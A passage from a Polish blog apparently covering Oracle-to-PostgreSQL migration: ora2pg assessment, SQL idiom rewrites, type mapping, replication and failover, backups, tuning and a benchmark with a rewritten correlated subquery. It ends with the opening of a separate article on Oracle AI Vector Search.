Najciekawsze jest to, co pokazał raport oceny. Ten sam „stary” schemat (bez pakietów i transakcji autonomicznych) na wszystkich trzech wersjach — 11g, 18c i 21c — dostał identyczny poziom A-3 (około jednego dnia pracy). Porównaj to z naszym pełnym schematem Nordpol (B-5): o trudności migracji decyduje złożoność kodu PL/SQL, a nie numer wersji źródła:

Źródło	Charakterystyka kodu	Poziom ora2pg
Oracle 11g (11.2.0.2) XE	sekwencja+trigger, (+) joiny, ROWNUM, DECODE	A-3 (~1 dzień pracy)
Oracle 18c XE	ten sam kod aplikacyjny	A-3 (~1 dzień pracy)
Oracle 21c (21.0) XE	ten sam kod aplikacyjny	A-3 (~1 dzień pracy)
Oracle 26ai — schemat Nordpol	pakiety, transakcja autonomiczna, partycje, virtual cols	B-5 (do 5 dni pracy)

Wniosek dla starszych baz

Im starsza wersja Oracle, tym prostszy bywa kod (mniej nowoczesnych funkcji do przepisania), ale tym więcej idiomów typu (+) i sekwencja+trigger. ora2pg radzi sobie z nimi seryjnie. Realne ryzyko migracji nie zależy od numeru wersji — zależy od tego, ile logiki biznesowej siedzi w PL/SQL. Najpierw uruchom raport oceny, potem planuj.

CONNECT BY → WITH RECURSIVE — najważniejsze przepisanie dla 11g i 18c

Zapytania hierarchiczne (CONNECT BY PRIOR) są w 11g i 18c powszechne — często używane do drzew organizacyjnych i kategorii. W PostgreSQL ten sam efekt osiągasz przez WITH RECURSIVE:

Oracle

SELECT emp_id, emp_name, manager_id, LEVEL
FROM   employees
START WITH  manager_id IS NULL
CONNECT BY PRIOR emp_id = manager_id
ORDER SIBLINGS BY emp_name;

PostgreSQL

WITH RECURSIVE emp_hierarchy AS (
    -- anchor: korzenie drzewa (brak menedżera)
    SELECT emp_id, emp_name, manager_id, 1 AS lvl
    FROM   employees
    WHERE  manager_id IS NULL

    UNION ALL

    -- rekurencja: dzieci
    SELECT e.emp_id, e.emp_name, e.manager_id, h.lvl + 1
    FROM   employees e
    JOIN   emp_hierarchy h ON e.manager_id = h.emp_id
)
SELECT emp_id, emp_name, manager_id, lvl
FROM   emp_hierarchy
ORDER  BY lvl, emp_name;

ORDER SIBLINGS BY nie ma bezpośredniego odpowiednika. By zachować kolejność rodzeństwa, buduj dodatkową kolumnę ścieżki (path text[]) w części rekurencyjnej i sortuj po niej.

Konfiguracja ora2pg dla 11g / 18c / 21c

Jedyna wersja-specyficzna zmiana w ora2pg.conf to forma DSN. Starsze wersje XE używają sid; PDB (Oracle 12c+) — service_name:

# 11g XE / 18c XE / 21c XE (non-CDB lub CDB$ROOT)
ORACLE_DSN    dbi:Oracle:host=<host>;port=1521;sid=XE

# 12c+ z PDB (pluggable database)
ORACLE_DSN    dbi:Oracle:host=<host>;port=1521;service_name=ORCLPDB1

Lista kontrolna: idiomy per wersja Oracle

Idiom Oracle	Zamiennik PostgreSQL	Wersje
`col(+) = col`	`LEFT / RIGHT JOIN`	11g, 18c, 21c
`ROWNUM < N` (pierwsze N wierszy)	`LIMIT N`	11g, 18c, 21c
`ROWNUM` jako numer wiersza	`ROW_NUMBER() OVER ()`	11g, 18c, 21c
`DECODE(x, v1, r1, …)`	`CASE WHEN x = v1 THEN r1 … END`	11g, 18c, 21c
`CONNECT BY PRIOR`	`WITH RECURSIVE`	11g, 18c, 21c
sekwencja + trigger (auto-ID)	`GENERATED ALWAYS AS IDENTITY`	11g, 18c (brak IDENTITY)
`NVL(x, y)`	`COALESCE(x, y)` — lub `NVL` przez orafce	wszystkie
`SYSDATE + N`	`NOW() + interval 'N days'`	wszystkie

Mapowanie typów danych

Większość typów tłumaczy się mechanicznie, ale kilka pozycji to klasyczne źródła błędów. Najważniejsza: oracle’owy DATE zawiera godzinę — mapuj go na timestamp, nie na date, bo inaczej po cichu utniesz czas.

Oracle	PostgreSQL	Uwaga
NUMBER(p,s)	numeric(p,s)	1:1
NUMBER(≤9) / NUMBER(10..18)	integer / bigint	dobór wg precyzji = szybciej i mniej miejsca
NUMBER (bez precyzji)	numeric / bigint / double	numeric liczony programowo — bywa kilka razy wolniejszy
NUMBER(1) jako flaga	boolean	częsta i wartościowa zmiana modelu danych
VARCHAR2(n) / CHAR(n)	varchar(n) / char(n)	limit w PG liczony w znakach
DATE	timestamp(0)	Oracle DATE ma godzinę!
TIMESTAMP WITH TIME ZONE	timestamptz	uwaga: nie 1:1 (patrz niżej)
CLOB / BLOB / RAW	text / bytea / bytea	TOAST obsługuje duże wartości
ROWID / UROWID	— (logiczny PK)	ctid jest nietrwały — przepisz na klucz główny
XMLTYPE / typ obiektowy	xml / typ złożony (composite)	metody i dziedziczenie typu nieprzenośne

Dwa mapowania, które tylko wyglądają na 1:1

NUMBER bez precyzji: w PostgreSQL numeric o dowolnej precyzji liczony jest programowo i bywa kilka–kilkanaście razy wolniejszy oraz cięższy niż bigint/double precision. Jeśli kolumna mieści się w zakresie całkowitym (zwłaszcza klucze i kolumny w GROUP BY/JOIN), zmapuj ją świadomie na bigint, a nie bezrefleksyjnie na numeric. TIMESTAMP WITH TIME ZONE: Oracle zapisuje strefę w wartości, a timestamptz normalizuje wejście do UTC i pierwotnej strefy nie przechowuje — przy danych z różnych stref ta informacja przepada.

orafce — warstwa zgodności, która oszczędza przepisywania

Instalacja jest dwustopniowa: pakiet z systemu (apt-get install postgresql-16-orafce) i włączenie w bazie (CREATE EXTENSION orafce;, potem dodaj schemat oracle do search_path). Zakres jest szeroki: funkcje skalarne (nvl, nvl2, decode, instr, to_char/to_date/to_number z maskami Oracle, add_months, last_day, trunc na datach), pseudo-tabela dual, sysdate, a także emulacje pakietów: dbms_output, dbms_random, dbms_alert, dbms_pipe, utl_file oraz typy varchar2/nvarchar2 z oracle’ową semantyką długości. Dlatego warto instalować je na samym starcie.

Wysoka dostępność i replikacja

To obszar, który budzi najwięcej obaw przy odchodzeniu od Oracle („a co z RAC i Data Guard?”). W praktyce PostgreSQL ma komplet odpowiedników, często prostszych w utrzymaniu:

Potrzeba	Oracle	PostgreSQL
Replika tylko-do-odczytu / DR	Data Guard	replikacja strumieniowa (wbudowana)
Automatyczny failover	Data Guard Broker / FSFO	Patroni (+ etcd) lub repmgr
Klaster „wspólnego dysku”	RAC	brak 1:1 — zwykle Patroni lub Citus
Replikacja logiczna / selektywna	GoldenGate	replikacja logiczna (wbudowana, od PG10)
Backup + PITR	RMAN	pgBackRest / pg_basebackup + archiwizacja WAL
Load balancing odczytów	—	HAProxy / Pgpool-II

Jedna różnica filozoficzna: Oracle RAC to architektura wspólnego dysku (wszystkie węzły widzą tę samą pamięć masową), a typowy klaster PostgreSQL to architektura bez współdzielenia (każdy węzeł ma własną kopię danych, synchronizowaną strumieniem WAL). Dla większości zastosowań to drugie podejście jest tańsze i prostsze operacyjnie.

Wysoka dostepnosc PostgreSQL - replikacja strumieniowaPRIMARYzapis + odczytport 5432HOT STANDBYtylko odczytport 5433strumien WALopoznienie ~5 msaplikacja (W/R)raporty (R)Awaria primary -> promocja standby (pg_promote / Patroni). Odpowiednik Oracle Data Guard. Klastry produkcyjne: Patroni + etcd + HAProxy.

Replikacja strumieniowa: primary wysyła strumień WAL do gorącej repliki (standby); awaria → promocja repliki.

Postawiliśmy to na żywo: jeden klaster jako primary (port 5432), drugi jako gorąca replika (hot standby, port 5433) — replika gotowa do natychmiastowego przejęcia ruchu — zbudowana przez pg_basebackup z opcją -R. Po stronie primary widać aktywny strumień:

psql -p 5432

-- na primary: kto sie replikuje?
SELECT application_name, state, sync_state, client_addr,
       pg_size_pretty(pg_wal_lsn_diff(sent_lsn,replay_lsn)) AS opoznienie
  FROM pg_stat_replication;

 application_name |   state   | sync_state | client_addr | opoznienie
------------------+-----------+------------+-------------+-----------
 16/standby       | streaming | async      | 127.0.0.1   | 0 bytes

Test „na żywo”: zapis na primary jest natychmiast widoczny na standby, zapis na standby jest odrzucany (replika jest tylko-do-odczytu), a po awarii promujemy standby do roli primary:

failover demo

[primary 5432] INSERT INTO customers(...) RETURNING customer_id;  -- 5001
[standby 5433] SELECT ... WHERE customer_id=5001;  -- rekord juz jest (replikacja)
[standby 5433] INSERT ...;  -- ERROR: cannot execute INSERT in a read-only transaction
[primary 5432] write_lag | flush_lag | replay_lag
               00:00:00.005 | 00:00:00.013 | 00:00:00.022   -- ~5-22 ms

-- FAILOVER: promocja repliki
$ pg_ctlcluster 16 standby promote
[standby] SELECT pg_is_in_recovery();  ->  f   (to juz jest primary)

Uniwersalna promocja i produkcyjny Patroni

pg_ctlcluster to wrapper Debiana/Ubuntu; uniwersalne odpowiedniki promocji repliki to pg_ctl promote -D <katalog_danych> albo funkcja SQL SELECT pg_promote() (można ją wywołać zdalnie przez psql). Ręczna promocja jest dobra do nauki — w produkcji używa się Patroni (z etcd/Consul) do automatycznego wyboru lidera i failoveru oraz HAProxy do kierowania ruchu. To dzisiejszy standard klastrowego PostgreSQL, odpowiednik logiki Data Guard Broker.

Kopie zapasowe i odtwarzanie do punktu w czasie

Odpowiednikiem RMAN jest pgBackRest — obsługuje kopie pełne, przyrostowe i różnicowe, równoległość, kompresję, szyfrowanie, repozytoria w S3/GCS oraz PITR (odtworzenie do dowolnej sekundy) dzięki ciągłej archiwizacji WAL. Sama logika jest bliska RMAN-owi:

# pelna kopia
pgbackrest --stanza=nordpol --type=full backup
# przyrostowa (tylko zmiany od ostatniej)
pgbackrest --stanza=nordpol --type=incr backup
# odtworzenie do punktu w czasie (PITR)
pgbackrest --stanza=nordpol --type=time \
  --target='2026-06-05 12:00:00' restore

Rozszerzenia — przewaga ekosystemu

Największa różnica mentalna przy przejściu na PostgreSQL: wiele rzeczy, za które w Oracle płaci się za opcje licencyjne, tu jest rozszerzeniem — często otwartym i instalowanym jednym CREATE EXTENSION. Te najważniejsze przy migracji:

Rozszerzenie	Do czego	Odpowiednik w Oracle
orafce	funkcje zgodne z Oracle (nvl, decode, dual...)	— (ułatwia migrację)
pg_stat_statements	analiza najcięższych zapytań	AWR / v$sql
pgvector	wektory i wyszukiwanie semantyczne (AI)	AI Vector Search (23ai)
PostGIS	dane przestrzenne (geo)	Oracle Spatial
pg_partman	automatyczne zarządzanie partycjami	Partitioning (opcja)
pg_cron	harmonogram zadań w bazie	DBMS_SCHEDULER
Citus	sharding / skalowanie poziome	RAC / Sharding (częściowo)
TimescaleDB	szeregi czasowe	—
oracle_fdw / postgres_fdw	linki do innych baz	database links

To zwykle przesądza o całkowitym koszcie posiadania (TCO)

Funkcje, które w Oracle są płatnymi opcjami (partycjonowanie, kompresja zaawansowana, diagnostyka AWR, Spatial, In-Memory), w PostgreSQL są w rdzeniu albo w darmowych rozszerzeniach. Dla wielu firm to jedyny argument, który naprawdę przekonuje zarząd — brak opłat licencyjnych przy zachowaniu funkcjonalności.

Ścieżki komercyjne, gdy chcesz mniej przepisywać

Poza narzędziami otwartymi istnieją płatne ścieżki, które redukują przepisywanie kodu — warto je znać, by świadomie wybrać kompromis między kosztem licencji a kosztem pracy:

EDB Postgres Advanced Server (EPAS) — PostgreSQL z wbudowaną warstwą zgodności z Oracle: natywnie obsługuje pakiety, PRAGMA AUTONOMOUS_TRANSACTION, hierarchiczne CONNECT BY i typy oracle’owe, a EDB Migration Toolkit/Portal automatyzują przenosiny — kosztem płatnej subskrypcji i lekkiego uzależnienia od dostawcy.
AWS SCT + DMS — AWS Schema Conversion Tool (ocena + konwersja schematu) razem z Database Migration Service (ciągła replikacja danych z przechwytywaniem zmian, CDC) to standard migracji do RDS/Aurora.
Uwaga terminologiczna: Babelfish for Aurora PostgreSQL to warstwa zgodności z Microsoft SQL Server (protokół TDS, T-SQL), a NIE z Oracle — nie używaj go do tej migracji.

Strategia przejścia: na raz czy przyrostowo

Narzędzia i walidacja to jedno — o ryzyku biznesowym decyduje plan samego przełączenia produkcji. Dwa podejścia:

	Migracja na raz (big bang)	Migracja przyrostowa
Kiedy	mała/średnia baza, jest okno serwisowe	duża baza 24/7, minimalny przestój
Jak	zatrzymaj zapisy → `ora2pg COPY` → walidacja → przełącz aplikację	ciągła replikacja (oracle_fdw + `INSERT...SELECT` albo AWS DMS z CDC)
Przestój	godziny	minuty
Ryzyko	większe, ale prostsze	mniejsze, ale więcej ruchomych części

Plan rollbacku i prawdziwa walidacja danych

Zawsze przygotuj plan wycofania: utrzymaj Oracle jako źródło prawdy do czasu potwierdzenia stabilności. Zgodność danych weryfikuj głębiej niż count(*) — porównaj sumy kontrolne kolumn (np. sum/min/max oraz agregat md5 per tabela) i próbki rekordów brzegowych, szczególnie tam, gdzie wchodzą puste stringi, daty z czasem i liczby zmiennoprzecinkowe.

Bezpieczeństwo: role, hasła, audyt

Model uprawnień różni się fundamentalnie. W Oracle użytkownik jest jednocześnie schematem; w PostgreSQL role (z LOGIN lub bez) i schematy są rozdzielone, a uprawnienia nadaje się przez GRANT na bazę/schemat/obiekt. Trzy rzeczy do zaplanowania osobno:

Polityki haseł. Oracle’owe PROFILE (FAILED_LOGIN_ATTEMPTS, wygaśnięcie hasła, limity sesji) nie mają bezpośredniego odpowiednika — w PostgreSQL używa się rozszerzenia passwordcheck, zewnętrznego uwierzytelniania (LDAP/PAM/SCRAM) i reguł w pg_hba.conf.
Audyt. Oracle Unified Audit / AUDIT zastępuje rozszerzenie pgAudit.
Bezpieczeństwo na poziomie wiersza. Oracle VPD / Label Security to w PostgreSQL Row-Level Security (RLS) — wbudowane w rdzeń.

Mapowanie ról i odtworzenie polityk haseł zaplanuj jako osobny krok przejścia — to często pomijany element, który potrafi zablokować wdrożenie tuż przed startem.

Życie po migracji: autovacuum i monitoring

Największa różnica operacyjna względem Oracle to autovacuum. PostgreSQL nie nadpisuje wierszy w miejscu — kasowanie i aktualizacja zostawiają „martwe” wersje, które autovacuum sprząta i przy okazji odświeża statystyki planera. Bez jego dostrojenia tabele z dużą rotacją puchną (tzw. bloat), a zapytania zwalniają — Oracle nie ma tego problemu, więc łatwo o nim zapomnieć.

Po załadowaniu danych wykonaj ręczny ANALYZE (planer potrzebuje świeżych statystyk — inaczej dobiera fatalne plany).
Monitoruj pg_stat_user_tables (n_dead_tup, last_autovacuum); dla gorących tabel zaostrz autovacuum_vacuum_scale_factor.
Włącz pg_stat_statements (odpowiednik AWR / v$sql) — to pierwsze miejsce, gdzie szukać kandydatów do przepisania (jak nasze Q5).

Benchmark wydajnościowy

Na koniec rzecz najciekawsza: czy PostgreSQL nadąża za Oracle? Zmierzyliśmy 7 reprezentatywnych zapytań na tych samych danych (100 000 zamówień, 300 000 pozycji) i tym samym sprzęcie. Każde uruchomiliśmy po kilka razy i bierzemy medianę rozgrzanych przebiegów (pierwszy, zimny, odrzucamy), zawsze sekwencyjnie — nigdy obie bazy naraz. Szóste z tych zapytań (Q5, podzapytanie skorelowane) zachowało się tak nietypowo, że wyciągnęliśmy je z wykresu i omawiamy osobno na końcu — na głównym wykresie zostaje 6 porównywalnych zapytań.

Uczciwie o warunkach testu

To nie jest benchmark „laboratoryjny”, tylko realny pomiar na maszynie 2 vCPU / 6 GB RAM. Oracle Database Free ma narzucone limity (2 wątki CPU, ~2 GB pamięci bazy i 12 GB danych), więc PostgreSQL nastrojony do ~2 GB pamięci współdzielonej (shared_buffers) gra w tej samej lidze. Traktuj liczby jako rząd wielkości i ogólną tendencję, nie jako wyrocznię — na Twoim sprzęcie i danych wyjdą inne.

Oracle vs PostgreSQL - 6 zapytań analitycznych100k zamówień / 300k pozycji · mediana czasu · skala logarytmiczna · niżej = lepiej110100czas ms174194168Q1 agreg.160180158Q2 okno1.01.21.2Q3 hierarch.364026Q4 zakres273836Q6 top-N1299665Q7 PL/SQLOracle 26aiPostgreSQL 16 (domyślny)PostgreSQL 16 (po tuningu)

Sześć porównywalnych zapytań: PostgreSQL po nastrojeniu dorównuje Oracle lub go wyprzedza. Domyślny PostgreSQL jest wolniejszy — bo celowo nie używa pamięci serwera.

Wnioski z wykresu: po nastrojeniu PostgreSQL wygrywa lub remisuje na 5 z 6 zapytań z wykresu (Q1, Q2, Q3, Q4, Q7). Oracle jest szybszy na Q6 (top-N, czyli wybranie kilkunastu rekordów z czołówki rankingu). Największy zysk z nastrojenia widać na Q4 i Q7. Ale prawdziwie pouczające jest to jedno zapytanie (Q5), którego na wykresie nie ma — wracamy do niego za chwilę.

Co dokładnie nastroiliśmy w PostgreSQL

Domyślny postgresql.conf jest celowo zachowawczy — ma wystartować na każdym sprzęcie, więc shared_buffers to raptem 128 MB, a work_mem — 4 MB. To pierwsza rzecz do zmiany po migracji:

-- najwazniejsze parametry (maszyna 6 GB RAM, 2 vCPU, SSD)
ALTER SYSTEM SET shared_buffers           = '1536MB';  -- ~25% RAM
ALTER SYSTEM SET effective_cache_size     = '4GB';     -- ile cache zaklada planer
ALTER SYSTEM SET work_mem                 = '64MB';    -- pamiec na sort/hash (kluczowe!)
ALTER SYSTEM SET maintenance_work_mem     = '256MB';
ALTER SYSTEM SET random_page_cost         = 1.1;       -- SSD
ALTER SYSTEM SET max_parallel_workers_per_gather = 2;
ALTER SYSTEM SET jit                      = off;       -- krotkie zapytania: JIT szkodzi
-- po zmianach: restart (shared_buffers) i ANALYZE

Dwie nieoczywiste decyzje

work_mem to najważniejszy parametr dla analityki — gdy sortowanie lub budowa tablicy mieszającej (hash) nie mieszczą się w pamięci, PostgreSQL zrzuca je na dysk i zwalnia drastycznie. JIT (kompilację zapytań do kodu maszynowego) wyłączyliśmy celowo: opłaca się ona przy zapytaniach trwających sekundy, ale przy krótkich (jak nasze) sam narzut kompilacji bywa większy niż zysk — pierwszy „zimny” przebieg Q7 z włączonym JIT trwał 5 sekund. Zamiast globalnie wyłączać JIT można też podnieść próg jit_above_cost — wówczas kompilacja odpala się tylko dla naprawdę kosztownych zapytań; pełne jit=off jest uzasadnione, gdy obciążenie to głównie krótkie zapytania.

Studium przypadku Q5: gdy strojenie to za mało

Q5 to klasyczne podzapytanie skorelowane (liczone osobno dla każdego wiersza zewnętrznego): „policz klientów, których przychód przekracza średnią w ich kraju”. Na Oracle wykonuje się w ~1,8 s. Na PostgreSQL — i to zarówno przed, jak i po nastrojeniu — przekroczyło ustawiony przez nas limit czasu zapytania (statement_timeout, 150 sekund) i zostało przerwane:

psql nordpol_pg

-- PostgreSQL, podzapytanie skorelowane (oryginalna skladnia z Oracle)
SELECT count(*)
  FROM customers c
 WHERE (SELECT sum(oi.line_total)          -- przychod tego klienta
          FROM orders o
          JOIN order_items oi ON oi.order_id = o.order_id
         WHERE o.customer_id = c.customer_id)
       > (SELECT avg(kup_rev)           -- srednia krajowa (tez skorelowana po country_id!)
            FROM (SELECT sum(oi2.line_total) AS kup_rev
                    FROM customers c2
                    JOIN orders o2      ON o2.customer_id = c2.customer_id
                    JOIN order_items oi2 ON oi2.order_id  = o2.order_id
                   WHERE c2.country_id = c.country_id
                   GROUP BY c2.customer_id) kraj);

ERROR:  canceling statement due to statement timeout
Time: 150000.386 ms (02:30.000)     <- ponad 150 s, tez po nastrojeniu

Dlaczego Q5 to nie problem pamięci, tylko algorytmupodzapytanie skorelowane (raz na 5000 klientów) vs przepisanie do 2 przebiegów (CTE)PostgreSQL bez przepisaniapodzapytanie liczone OSOBNO dla każdego klienta:× 5000 razy — raz na klientaTIMEOUT > 150 000 msvsPostgreSQL po przepisaniu (CTE)cust_revprzychód klienta — 1 przebiegcountry_avgśrednia krajowa — 1 przebiegPostgreSQL 251 ms · Oracle 340 msten sam wynik (2343 klientów)

Mechanizm: po lewej PostgreSQL liczy podzapytanie osobno dla każdego z 5000 klientów (i nie kończy); po prawej — przepisane na dwa przebiegi (CTE) liczy się w ułamku sekundy.

Dlaczego? Optymalizator Oracle potrafi spłaszczyć podzapytanie skorelowane (z ang. unnest — przekształcić je w zwykłe złączenie z agregacją) i policzyć średnią raz na kraj. PostgreSQL bez przepisania wykonuje je dosłownie — raz dla każdego z 5000 klientów. (PostgreSQL spłaszcza część podzapytań — np. EXISTS i IN zamienia na półzłączenie — ale nie tego skorelowanego podzapytania skalarnego ze średnią.) Żadne zwiększanie work_mem tego nie naprawi, bo problem jest algorytmiczny, nie pamięciowy. Lekarstwem nie jest strojenie serwera, tylko przepisanie zapytania: policz przychód każdego klienta i średnią krajową raz, w dwóch przebiegach (we wspólnym wyrażeniu tablicowym, CTE), a potem porównaj:

-- to samo pytanie, ale liczone raz zamiast 5000 razy
WITH cust_rev AS (
  SELECT o.customer_id, c.country_id, sum(oi.line_total) AS rev
    FROM orders o JOIN order_items oi ON oi.order_id=o.order_id
    JOIN customers c ON c.customer_id=o.customer_id
   GROUP BY o.customer_id, c.country_id),
country_avg AS (
  SELECT country_id, avg(rev) AS avg_rev FROM cust_rev GROUP BY country_id)
SELECT count(*) FROM cust_rev cr JOIN country_avg ca USING(country_id)
 WHERE cr.rev > ca.avg_rev;

Najlepszy dowód to plany wykonania z samej bazy. Wersja oryginalna ma SubPlan liczony przy każdym wierszu i szacowany koszt 35 milionów; wersja CTE liczy wszystko w dwóch przebiegach i kończy w 263 ms:

psql nordpol_pg: EXPLAIN [ANALYZE]

-- ORYGINAL: EXPLAIN podzapytania skorelowanego (nie wykonujemy - za wolne)
 Aggregate  (cost=35172003.02..35172003.03 rows=1)        <- koszt 35 MILIONOW
   ->  Seq Scan on customers c  (cost=0.00..35171998.86)
         Filter: ((SubPlan 1) > (SubPlan 2))               <- liczone DLA KAZDEGO wiersza
         SubPlan 1  ->  Aggregate ...     (przychod klienta)
         SubPlan 2  ->  HashAggregate ... (srednia krajowa - przeliczana per klient!)

-- PRZEPISANE: EXPLAIN ANALYZE wersji CTE
 Aggregate (actual rows=1 loops=1)
   CTE cust_rev  ->  HashAggregate (actual rows=5000)      <- przychod: 1 przebieg
   ->  Hash Join (actual rows=2343)
         ->  HashAggregate (actual rows=13)                <- srednia: 1 przebieg (13 krajow)
 Execution Time: 263.680 ms                                <- 263 ms zamiast >150 s

Q5: tuning nie pomaga - pomaga przepisanie zapytaniaten sam wynik (2343 klientów), pięć sposobów · skala log · „timeout” = przerwane po 150 s110100100010000100000czas ms1842Oracle 26ai150000PostgreSQL
(domyślny)150000PostgreSQL
(po tuningu)251PostgreSQL
(przepisane)340Oracle
(przepisane)czas zapytania Q5

To samo zapytanie policzone na pięć sposobów. Przepisanie do CTE ścina czas z „ponad 150 s” do dziesiątek milisekund — i to na obu bazach.

Najważniejsza lekcja z całego benchmarku

Część „przewagi Oracle” to nie szybsza maszyna, tylko sprytniejszy optymalizator ukrywający nieefektywnie napisane zapytania. Po migracji takie miejsca trzeba znaleźć i przepisać (narzędzie: pg_stat_statements + EXPLAIN ANALYZE). Dobra wiadomość: przepisane zapytanie jest szybkie również na Oracle — czyli to po prostu lepszy SQL, nie „obejście braku”.

Kiedy migrować, a kiedy się wstrzymać

Migracja Oracle→PostgreSQL jest dziś rutynowa technicznie — ale „rutynowa” nie znaczy „darmowa w czasie”. Z naszego przejścia płyną cztery wnioski:

Dane i schemat to nie problem. ora2pg przeniósł ponad 400 tys. wierszy (dokładnie 407 538) w 21 sekund, a typy i indeksy skonwertował sam. Budżet czasu zjada warstwa proceduralna.
PL/SQL to sedno wyceny. Pakiety, transakcje autonomiczne, kolumny wirtualne i osobliwości partycjonowania trzeba przepisać ręcznie — raport ora2pg da Ci realną liczbę dni pracy, zanim coś obiecasz biznesowi.
Wydajność nie jest argumentem przeciw. Po podstawowym tuningu PostgreSQL gra w tej samej lidze co Oracle. Wąskim gardłem bywają pojedyncze zapytania liczące na „magię” optymalizatora Oracle — te trzeba znaleźć i przepisać.
Administracja ma komplet odpowiedników. Replikacja, HA, PITR, monitoring — wszystko jest, często za darmo tam, gdzie Oracle liczy sobie za opcje licencyjne. To zwykle przesądza o decyzji.

Kolejność kroków migracjizielone = automat · czerwone = ręczna robota (tu idzie budżet)1raport ora2pgocena B-52orafcewarstwa zgodności3baza UTF8kodowanie4schemat bez FKDDL5COPY danych407 538 / 21 s6FK + resyncsekwencje7przepisanie PL/SQLpakiety, CONNECT BY8walidacjaoracle_fdw + replikacja

Osiem kroków migracji w kolejności: zielone idą automatem, czerwony (przepisanie PL/SQL) to miejsce, gdzie idzie większość budżetu.

Praktyczna checklista migracji

1) Uruchom raport oceny ora2pg i policz dni pracy. 2) Zainstaluj orafce — oszczędzi przepisywania. 3) Bazę docelową twórz w UTF8. 4) Ładuj: schemat bez FK → dane → FK → resync sekwencji. 5) Przepisz pakiety, transakcje autonomiczne, CONNECT BY. 6) Zweryfikuj liczebności przez oracle_fdw. 7) Nastrój postgresql.conf i znajdź ciężkie zapytania (pg_stat_statements). 8) Zaplanuj replikację i kopie (pgBackRest).

Szkolenie powiązane

Administracja, replikacja i tuning baz danych PostgreSQL

Replikacja strumieniowa, Patroni, pgBackRest, tuning postgresql.conf, partycjonowanie i diagnostyka zapytań — wszystko, czego potrzebuje administrator po migracji z Oracle, na praktycznym szkoleniu z terminem gwarantowanym.

Zobacz szczegóły szkolenia

Szkolenie powiązane — poziom zaawansowany

Zaawansowana administracja PostgreSQL: HA, Disaster Recovery, monitoring, skalowanie

Patroni, pgBackRest PITR, HAProxy + pgBouncer, pg_stat_monitor — szkolenie dla administratorów odpowiedzialnych za produkcyjne klastry PostgreSQL z terminem gwarantowanym.

Zobacz szczegóły szkolenia

AI w bazie danych Oracle: Vector Search, Select AI i Machine Learning (23ai/26ai)

Andrzej Klusiewicz — Tue, 25 Aug 2026 07:04:19 +0000

Oracle od lat cicho rozwija AI wbudowane w silnik bazy — od Data Mining po dzisiejszy AI Vector Search i Select AI w wydaniu 23ai/26ai. Pokazujemy to na realnych zrzutach z żywej instancji.

Kiedy mówi się „AI w bazie danych", większość ludzi myśli o nowych, wyspecjalizowanych bazach wektorowych (baza wektorowa przechowuje dane jako listy liczb - wektory - które opisują znaczenie tekstu, obrazu czy dokumentu - podobne treści mają podobne wektory, co pozwala wyszukiwać „po sensie", nie po słowach kluczowych). Tymczasem Oracle Database robi uczenie maszynowe w SQL już od ponad dwóch dekad (pakiet DBMS_DATA_MINING zadebiutował w Oracle 9i R2 w 2002 r.), a wydania 23ai (2024) i jego kontynuacja 26ai postawiły AI w samym centrum bazy: wektorowy typ danych, semantyczne wyszukiwanie, wbudowane modele embeddingów i pytania w języku naturalnym. W tym artykule pokazujemy całą historię rozwoju AI w Oracle oraz działające przykłady z prawdziwej bazy Oracle 26ai Free - wszystkie zrzuty ekranu pochodzą z realnej instancji uruchomionej specjalnie na potrzeby tego tekstu.

Z tego artykułu dowiesz się:

jak rozwijało się AI w Oracle - od przejęcia narzędzia Darwin w 1999 r. po AI Vector Search,
czym jest typ VECTOR i jak działa funkcja VECTOR_DISTANCE,
jak zbudować indeks wektorowy HNSW i wyszukiwać semantycznie,
jak Oracle Machine Learning buduje model ML w czystym SQL,
czym jest Select AI i wbudowane modele ONNX.

Historia AI w Oracle - 25 lat, nie 2 lata

AI w Oracle nie zaczęło się od mody na ChatGPT. Baza danych Oracle ma za sobą długą drogę uczenia maszynowego liczonego bezpośrednio na danych - bez eksportu do osobnych narzędzi.

Rozwój AI w bazie Oracle - od narzędzia Darwin po AI Vector Search i generatywne AI

1999 - Oracle przejmuje zespół data mining firmy Thinking Machines wraz z narzędziem Darwin. To fundament pod uczenie maszynowe w bazie.
2002 (Oracle 9i R2) - debiut Oracle Data Mining i pakietu DBMS_DATA_MINING: klasyfikacja, regresja, klastrowanie - modele budowane w czystym SQL, wewnątrz bazy.
2008 (11g) - graficzny Oracle Data Miner w SQL Developer i więcej algorytmów: drzewa decyzyjne, SVM, sieci Bayesa, reguły asocjacyjne.
2013 - Oracle Advanced Analytics: Data Mining + Oracle R Enterprise, czyli język R liczony bezpośrednio na danych w bazie.
2018 (18c) - marka Oracle Machine Learning, notatniki OML, biblioteki OML4Py i OML4R, AutoML w Autonomous Database.
2021 (21c) - Oracle Data Mining zostaje przemianowane na Oracle Machine Learning for SQL (OML4SQL); nazwa pakietu DBMS_DATA_MINING pozostaje bez zmian. Wbudowany AutoML.
2024 (23ai) - przełom: AI Vector Search, typ VECTOR, Select AI, import modeli ONNX, grounded generative AI (RAG na danych firmy) - i ponad 300 innych nowości. Aktualizacje tej linii Oracle marketingowo oznacza jako „26ai" (wewnętrznie: Release 23.26.x).

Co nowego w najnowszych wydaniach (23ai i 26ai)

Oracle Database 23ai (ogólna dostępność: maj 2024) to pierwsze wydanie long-term z literą „ai" w nazwie. Kolejne aktualizacje tej samej linii Oracle oznacza już jako 26ai - instancja, na której powstały poniższe przykłady, raportuje się jako Oracle AI Database 26ai Free Release 23.26. Najważniejsze funkcje AI:

AI Vector Search - typ VECTOR, funkcja VECTOR_DISTANCE, indeksy wektorowe (HNSW, IVF) i nowa składnia wyszukiwania semantycznego.
Wbudowane embeddingi - model w formacie ONNX (otwarty, przenośny format zapisu wytrenowanych modeli uczenia maszynowego - model przygotowany w jednym narzędziu, np. w Pythonie, uruchamiasz w innym bez przepisywania) można zaimportować do bazy i liczyć wektory funkcją VECTOR_EMBEDDING, bez wysyłania danych na zewnątrz.
Select AI - pytania w języku naturalnym zamieniane na SQL przez duży model językowy (pakiet DBMS_CLOUD_AI).
Oracle Machine Learning - pełne uczenie maszynowe w SQL/PL-SQL i Pythonie, działające w całości w bazie.
Property Graph i JSON Relational Duality - zapytania grafowe oraz jeden zbiór danych widziany jednocześnie jako tabele i jako dokumenty JSON.

AI Vector Search w praktyce - to nie teoria

Poniższe zrzuty pochodzą z prawdziwej, świeżo postawionej bazy Oracle 26ai Free. Zacznijmy od dowodu, że to faktycznie najnowsze wydanie:

Wersja bazy - Oracle AI Database 26ai Free, Release 23.26

Wektor jako pełnoprawny typ danych

